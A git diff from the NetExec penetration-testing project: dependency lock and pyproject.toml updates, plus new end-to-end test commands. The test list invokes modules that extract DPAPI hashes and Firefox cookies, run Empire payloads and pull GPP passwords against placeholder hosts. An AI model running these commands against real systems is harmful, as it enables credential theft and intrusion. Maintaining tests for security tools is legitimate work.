"sspilib-0.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9460258d3dc3f71cc4dcfd6ac078e2fe26f272faea907384b7dd52cb91d9ddcc"}, + {file = "sspilib-0.2.0-cp38-cp38-win32.whl", hash = "sha256:6fa9d97671348b97567020d82fe36c4211a2cacf02abbccbd8995afbf3a40bfc"}, + {file = "sspilib-0.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:32422ad7406adece12d7c385019b34e3e35ff88a7c8f3d7c062da421772e7bfa"}, + {file = "sspilib-0.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6944a0d7fe64f88c9bde3498591acdb25b178902287919b962c398ed145f71b9"}, + {file = "sspilib-0.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0216344629b0f39c2193adb74d7e1bed67f1bbd619e426040674b7629407eba9"}, + {file = "sspilib-0.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c5f84b9f614447fc451620c5c44001ed48fead3084c7c9f2b9cefe1f4c5c3d0"}, + {file = "sspilib-0.2.0-cp39-cp39-win32.whl", hash = "sha256:b290eb90bf8b8136b0a61b189629442052e1a664bd78db82928ec1e81b681fb5"}, + {file = "sspilib-0.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:404c16e698476e500a7fe67be5457fadd52d8bdc9aeb6c554782c8f366cc4fc9"}, + {file = "sspilib-0.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:8697e5dd9229cd3367bca49fba74e02f867759d1d416a717e26c3088041b9814"}, + {file = "sspilib-0.2.0.tar.gz", hash = "sha256:4d6cd4290ca82f40705efeb5e9107f7abcd5e647cb201a3d04371305938615b8"}, ] [[package]] @@ -2213,6 +2257,7 @@ version = "0.9.0" description = "Pretty-print tabular data" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"}, {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"}, @@ -2223,13 +2268,14 @@ widechars = ["wcwidth"] [[package]] name = "termcolor" -version = "2.4.0" +version = "2.5.0" description = "ANSI color formatting for output in terminal" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "termcolor-2.4.0-py3-none-any.whl", hash = "sha256:9297c0df9c99445c2412e832e882a7884038a25617c60cea2ad69488d4040d63"}, - {file = "termcolor-2.4.0.tar.gz", hash = "sha256:aab9e56047c8ac41ed798fa36d892a37aca6b3e9159f3e0c24bc64a9b3ac7b7a"}, + {file = "termcolor-2.5.0-py3-none-any.whl", hash = "sha256:37b17b5fc1e604945c2642c872a3764b5d547a48009871aea3edd3afa180afb8"}, + {file = "termcolor-2.5.0.tar.gz", hash = "sha256:998d8d27da6d48442e8e1f016119076b690d962507531df4890fcd2db2ef8a6f"}, ] [package.extras] @@ -2241,6 +2287,7 @@ version = "3.1.10" description = "Generate simple tables in terminals from a nested list of strings." optional = false python-versions = ">=2.6" +groups = ["main"] files = [ {file = "terminaltables-3.1.10-py2.py3-none-any.whl", hash = "sha256:e4fdc4179c9e4aab5f674d80f09d76fa436b96fdc698a8505e0a36bf0804a874"}, {file = "terminaltables-3.1.10.tar.gz", hash = "sha256:ba6eca5cb5ba02bba4c9f4f985af80c54ec3dccf94cfcd190154386255e47543"}, @@ -2248,42 +2295,65 @@ files = [ [[package]] name = "tomli" -version = "2.0.1" +version = "2.2.1" description = "A lil' TOML parser" optional = false -python-versions = ">=3.7" -files = [ - {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, - {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, -] - -[[package]] -name = "tomlkit" -version = "0.13.0" -description = "Style preserving TOML library" -optional = false python-versions = ">=3.8" +groups = ["dev"] +markers = "python_version < \"3.11\"" files = [ - {file = "tomlkit-0.13.0-py3-none-any.whl", hash = "sha256:7075d3042d03b80f603482d69bf0c8f345c2b30e41699fd8883227f89972b264"}, - {file = "tomlkit-0.13.0.tar.gz", hash = "sha256:08ad192699734149f5b97b45f1f18dad7eb1b6d16bc72ad0c2335772650d7b72"}, + {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, + {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ece47d672db52ac607a3d9599a9d48dcb2f2f735c6c2d1f34130085bb12b112a"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6972ca9c9cc9f0acaa56a8ca1ff51e7af152a9f87fb64623e31d5c83700080ee"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c954d2250168d28797dd4e3ac5cf812a406cd5a92674ee4c8f123c889786aa8e"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8dd28b3e155b80f4d54beb40a441d366adcfe740969820caf156c019fb5c7ec4"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:e59e304978767a54663af13c07b3d1af22ddee3bb2fb0618ca1593e4f593a106"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:33580bccab0338d00994d7f16f4c4ec25b776af3ffaac1ed74e0b3fc95e885a8"}, + {file = "tomli-2.2.1-cp311-cp311-win32.whl", hash = "sha256:465af0e0875402f1d226519c9904f37254b3045fc5084697cefb9bdde1ff99ff"}, + {file = "tomli-2.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:2d0f2fdd22b02c6d81637a3c95f8cd77f995846af7414c5c4b8d0545afa1bc4b"}, + {file = "tomli-2.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a8f6e44de52d5e6c657c9fe83b562f5f4256d8ebbfe4ff922c495620a7f6cea"}, + {file = "tomli-2.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8d57ca8095a641b8237d5b079147646153d22552f1c637fd3ba7f4b0b29167a8"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e340144ad7ae1533cb897d406382b4b6fede8890a03738ff1683af800d54192"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db2b95f9de79181805df90bedc5a5ab4c165e6ec3fe99f970d0e302f384ad222"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40741994320b232529c802f8bc86da4e1aa9f413db394617b9a256ae0f9a7f77"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:400e720fe168c0f8521520190686ef8ef033fb19fc493da09779e592861b78c6"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:02abe224de6ae62c19f090f68da4e27b10af2b93213d36cf44e6e1c5abd19fdd"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b82ebccc8c8a36f2094e969560a1b836758481f3dc360ce9a3277c65f374285e"}, + {file = "tomli-2.2.1-cp312-cp312-win32.whl", hash = "sha256:889f80ef92701b9dbb224e49ec87c645ce5df3fa2cc548664eb8a25e03127a98"}, + {file = "tomli-2.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:7fc04e92e1d624a4a63c76474610238576942d6b8950a2d7f908a340494e67e4"}, + {file = "tomli-2.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4039b9cbc3048b2416cc57ab3bda989a6fcf9b36cf8937f01a6e731b64f80d7"}, + {file = "tomli-2.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:286f0ca2ffeeb5b9bd4fcc8d6c330534323ec51b2f52da063b11c502da16f30c"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a92ef1a44547e894e2a17d24e7557a5e85a9e1d0048b0b5e7541f76c5032cb13"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9316dc65bed1684c9a98ee68759ceaed29d229e985297003e494aa825ebb0281"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e85e99945e688e32d5a35c1ff38ed0b3f41f43fad8df0bdf79f72b2ba7bc5272"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ac065718db92ca818f8d6141b5f66369833d4a80a9d74435a268c52bdfa73140"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d920f33822747519673ee656a4b6ac33e382eca9d331c87770faa3eef562aeb2"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a198f10c4d1b1375d7687bc25294306e551bf1abfa4eace6650070a5c1ae2744"}, + {file = "tomli-2.2.1-cp313-cp313-win32.whl", hash = "sha256:d3f5614314d758649ab2ab3a62d4f2004c825922f9e370b29416484086b264ec"}, + {file = "tomli-2.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:a38aa0308e754b0e3c67e344754dff64999ff9b513e691d0e786265c93583c69"}, + {file = "tomli-2.2.1-py3-none-any.whl", hash = "sha256:cb55c73c5f4408779d0cf3eef9f762b9c9f147a77de7b258bef0a5628adc85cc"}, + {file = "tomli-2.2.1.tar.gz", hash = "sha256:cd45e1dc79c835ce60f7404ec8119f2eb06d38b1deba146f07ced3bbc44505ff"}, ] [[package]] name = "tqdm" -version = "4.66.4" +version = "4.67.1" description = "Fast, Extensible Progress Meter" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "tqdm-4.66.4-py3-none-any.whl", hash = "sha256:b75ca56b413b030bc3f00af51fd2c1a1a5eac6a0c1cca83cbb37a5c52abce644"}, - {file = "tqdm-4.66.4.tar.gz", hash = "sha256:e4d936c9de8727928f3be6079590e97d9abfe8d39a590be678eb5919ffc186bb"}, + {file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"}, + {file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"}, ] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} [package.extras] -dev = ["pytest (>=6)", "pytest-cov", "pytest-timeout", "pytest-xdist"] +dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"] +discord = ["requests"] notebook = ["ipywidgets (>=6)"] slack = ["slack-sdk"] telegram = ["requests"] @@ -2294,6 +2364,7 @@ version = "4.12.2" description = "Backported and Experimental Type Hints for Python 3.8+" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, @@ -2305,6 +2376,7 @@ version = "0.0.10" description = "Unified interface for cryptographic libraries" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "unicrypto-0.0.10-py3-none-any.whl", hash = "sha256:77322c68cb6a7ef8ee762dcb0a824a491429f8939793e8a9d64f615baaf595b9"}, ] @@ -2314,17 +2386,18 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "2.2.2" +version = "2.3.0" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "urllib3-2.2.2-py3-none-any.whl", hash = "sha256:a448b2f64d686155468037e1ace9f2d2199776e17f0a46610480d311f73e3472"}, - {file = "urllib3-2.2.2.tar.gz", hash = "sha256:dd505485549a7a552833da5e6063639d0d177c04f23bc3864e41e5dc5f612168"}, + {file = "urllib3-2.3.0-py3-none-any.whl", hash = "sha256:1cee9ad369867bfdbbb48b7dd50374c0967a0bb7710050facf0dd6911440e3df"}, + {file = "urllib3-2.3.0.tar.gz", hash = "sha256:f8c5449b3cf0861679ce7e0503c7b44b5ec981bec0d1d3795a07f1ba96f0204d"}, ] [package.extras] -brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] +brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] h2 = ["h2 (>=4,<5)"] socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] zstd = ["zstandard (>=0.18.0)"] @@ -2335,6 +2408,7 @@ version = "0.2.13" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859"}, {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, @@ -2342,13 +2416,14 @@ files = [ [[package]] name = "werkzeug" -version = "3.0.3" +version = "3.1.3" description = "The comprehensive WSGI web application library." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "werkzeug-3.0.3-py3-none-any.whl", hash = "sha256:fc9645dc43e03e4d630d23143a04a7f947a9a3b5727cd535fdfe155a17cc48c8"}, - {file = "werkzeug-3.0.3.tar.gz", hash = "sha256:097e5bfda9f0aba8da6b8545146def481d06aa7d3266e7448e2cccf67dd8bd18"}, + {file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"}, + {file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"}, ] [package.dependencies] @@ -2363,6 +2438,7 @@ version = "0.1.9" description = "ACL/ACE/Security Descriptor manipulation library in pure Python" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099"}, {file = "winacl-0.1.9.tar.gz", hash = "sha256:af70c2ec30178bf9e3c8a1c48c25e8781235fe2c1b321adb46e2f2ae1f8d4aab"}, @@ -2373,31 +2449,17 @@ cryptography = ">=38.0.1" [[package]] name = "xmltodict" -version = "0.13.0" +version = "0.14.2" description = "Makes working with XML feel like you are working with JSON" optional = false -python-versions = ">=3.4" +python-versions = ">=3.6" +groups = ["main"] files = [ - {file = "xmltodict-0.13.0-py2.py3-none-any.whl", hash = "sha256:aa89e8fd76320154a40d19a0df04a4695fb9dc5ba977cbb68ab3e4eb225e7852"}, - {file = "xmltodict-0.13.0.tar.gz", hash = "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"}, + {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"}, + {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"}, ] -[[package]] -name = "zipp" -version = "3.19.2" -description = "Backport of pathlib-compatible object wrapper for zip files" -optional = false -python-versions = ">=3.8" -files = [ - {file = "zipp-3.19.2-py3-none-any.whl", hash = "sha256:f091755f667055f2d02b32c53771a7a6c8b47e1fdbc4b72a8b9072b3eef8015c"}, - {file = "zipp-3.19.2.tar.gz", hash = "sha256:bf1dcf6450f873a13e952a29504887c89e6de7506209e5b1bcc3460135d4de19"}, -] - -[package.extras] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -test = ["big-O", "importlib-resources", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more-itertools", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-ignore-flaky", "pytest-mypy", "pytest-ruff (>=0.2.1)"] - [metadata] -lock-version = "2.0" -python-versions = "^3.8.0" -content-hash = "ea9268bbeebfa000c1250559be97ee8bd9209072e2bd24ee326eee9c0f864ed2" +lock-version = "2.1" +python-versions = ">=3.10,<4.0" +content-hash = "82a5e366a4270596f82655b99b5f0f22887fc72d5d04eefc3cddc945c9e69794" diff --git a/pyproject.toml b/pyproject.toml index fc7b33d7..4a010aa1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,71 +1,85 @@ -[tool.poetry] +[project] name = "netexec" -version = "1.2.0" +dynamic = ["version"] description = "The Network Execution tool" -authors = [ - "Marshall Hallenbeck ", - "Alexander Neff ", - "Thomas Seigneuret " -] readme = "README.md" +requires-python = ">=3.10,<4.0" +license = { text = "BSD-2-Clause" } +authors = [ + { name = "Marshall Hallenbeck", email = "marshall.hallenbeck@gmail.com" }, + { name = "Alexander Neff", email = "alex99.neff@gmx.de" }, + { name = "Thomas Seigneuret", email = "seigneuret.thomas@pm.me" } +] +classifiers = [ + "Environment :: Console", + "License :: OSI Approved :: BSD License", + "Programming Language :: Python :: 3", + "Topic :: Security" +] +dependencies = [ + "aardwolf>=0.2.8", + "argcomplete>=3.1.4", + "asyauth>=0.0.20", + "beautifulsoup4>=4.11,<5", + "bloodhound>=1.8.0", + "dploot>=3.1.0", + "dsinternals>=1.2.4", + "jwt>=1.3.1", + "lsassy>=3.1.11", + "masky>=0.2.0", + "minikerberos>=0.4.1", + "msldap>=0.5.10", + "neo4j>=5.0.0", + "paramiko>=3.3.1", + "pyasn1-modules>=0.3.0", + "pylnk3>=0.4.2", + "pypsrp>=0.8.1", + "pypykatz>=0.6.8", + "python-dateutil>=2.8.2", + "python-libnmap>=0.7.3", + "requests>=2.27.1", + "rich>=13.3.5", + "sqlalchemy>=2.0.4", + "termcolor>=2.4.0", + "terminaltables>=3.1.0", + "xmltodict>=0.13.0", + # Git Dependencies + "impacket @ git+https://github.com/fortra/impacket.git", + "oscrypto @ git+https://github.com/wbond/oscrypto", + "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", +] + +[project.urls] homepage = "https://github.com/Pennyw0rth/NetExec" repository = "https://github.com/Pennyw0rth/NetExec" + +[project.scripts] +nxc = "nxc.netexec:main" +netexec = "nxc.netexec:main" +NetExec = "nxc.netexec:main" +nxcdb = "nxc.nxcdb:main" + +[tool.poetry] exclude = [] include = [ "nxc/data/*", "nxc/modules/*" ] -license = "BSD-2-Clause" -classifiers = [ - 'Environment :: Console', - 'License :: OSI Approved :: BSD License', - 'Programming Language :: Python :: 3', - 'Topic :: Security', -] -packages = [ - { include = "nxc"} -] +packages = [{ include = "nxc" }] +version = "0.0.0" # Poetry placeholder, do not remove -[tool.poetry.scripts] -nxc = 'nxc.netexec:main' -netexec = 'nxc.netexec:main' -NetExec = 'nxc.netexec:main' -nxcdb = 'nxc.nxcdb:main' +[tool.poetry.requires-plugins] +poetry-dynamic-versioning = { version = ">=1.7.0,<2.0.0", extras = ["plugin"] } -[tool.poetry.dependencies] -python = "^3.8.0" -aardwolf = "^0.2.8" -aioconsole = "^0.6.2" -aiosqlite = "^0.19.0" -argcomplete = "^3.1.4" -asyauth = ">=0.0.20" -beautifulsoup4 = ">=4.11,<5" -bloodhound = "^1.7.2" -dploot = "^2.7.4" -dsinternals = "^1.2.4" -impacket = { git = "https://github.com/fortra/impacket.git" } -lsassy = ">=3.1.11" -masky = "^0.2.0" -minikerberos = "^0.4.1" -msgpack = "^1.0.0" -msldap = "^0.5.10" -neo4j = "^5.0.0" -paramiko = "^3.3.1" -poetry-dynamic-versioning = "^1.2.0" -pyasn1-modules = "^0.3.0" -pylnk3 = "^0.4.2" -pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" } -pypsrp = "^0.8.1" -pypykatz = "^0.6.8" -pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23) -python-dateutil = ">=2.8.2" -python-libnmap = "^0.7.3" -requests = ">=2.27.1" -rich = "^13.3.5" -sqlalchemy = "^2.0.4" -termcolor = ">=2.4.0" -terminaltables = "^3.1.0" -xmltodict = "^0.13.0" +[tool.poetry-dynamic-versioning] +enable = true +style = "pep440" +pattern = "(?P\\d+\\.\\d+\\.\\d+)" +format = "{base}+{distance}.{commit}" + +[build-system] +requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] +build-backend = "poetry_dynamic_versioning.backend" [tool.poetry.group.dev.dependencies] flake8 = "*" @@ -73,59 +87,34 @@ shiv = "*" pytest = "^7.2.2" ruff = "=0.0.292" -[build-system] -requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] -build-backend = "poetry_dynamic_versioning.backend" - -[tool.poetry-dynamic-versioning] -enable = true -pattern = "(?P\\d+\\.\\d+\\.\\d+)" -format = "{base}+{commit}" - [tool.ruff] -# Ruff doesn't enable pycodestyle warnings (`W`) or -# McCabe complexity (`C901`) by default. -# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc -# Should tackle flake8-use-pathlib (PTH) at some point -select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"] -ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"] +select = [ + "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", + "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" +] +ignore = [ + "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", + "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", + "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", + "PERF203", "RUF012" +] # Allow autofix for all enabled rules (when `--fix`) is provided. fixable = ["ALL"] unfixable = [] -# Exclude a variety of commonly ignored directories. exclude = [ - ".bzr", - ".direnv", - ".eggs", - ".git", - ".git-rewrite", - ".hg", - ".mypy_cache", - ".nox", - ".pants.d", - ".pytype", - ".ruff_cache", - ".svn", - ".tox", - ".venv", - "__pypackages__", - "_build", - "buck-out", - "build", - "dist", - "node_modules", - "venv", + ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", + ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", + "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" ] per-file-ignores = {} - line-length = 65000 # Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" -target-version = "py37" +target-version = "py310" [tool.ruff.flake8-quotes] docstring-quotes = "double" diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 31a0bd7c..81a3aec4 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -1,16 +1,19 @@ ##### Check Generic Help Options netexec -h ##### SMB +netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile +netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sessions netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --loggedon-users netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --computers netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-groups @@ -63,6 +66,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener @@ -71,6 +76,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox -o COOKIES=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password @@ -82,6 +88,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" @@ -135,6 +143,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam netexec smb 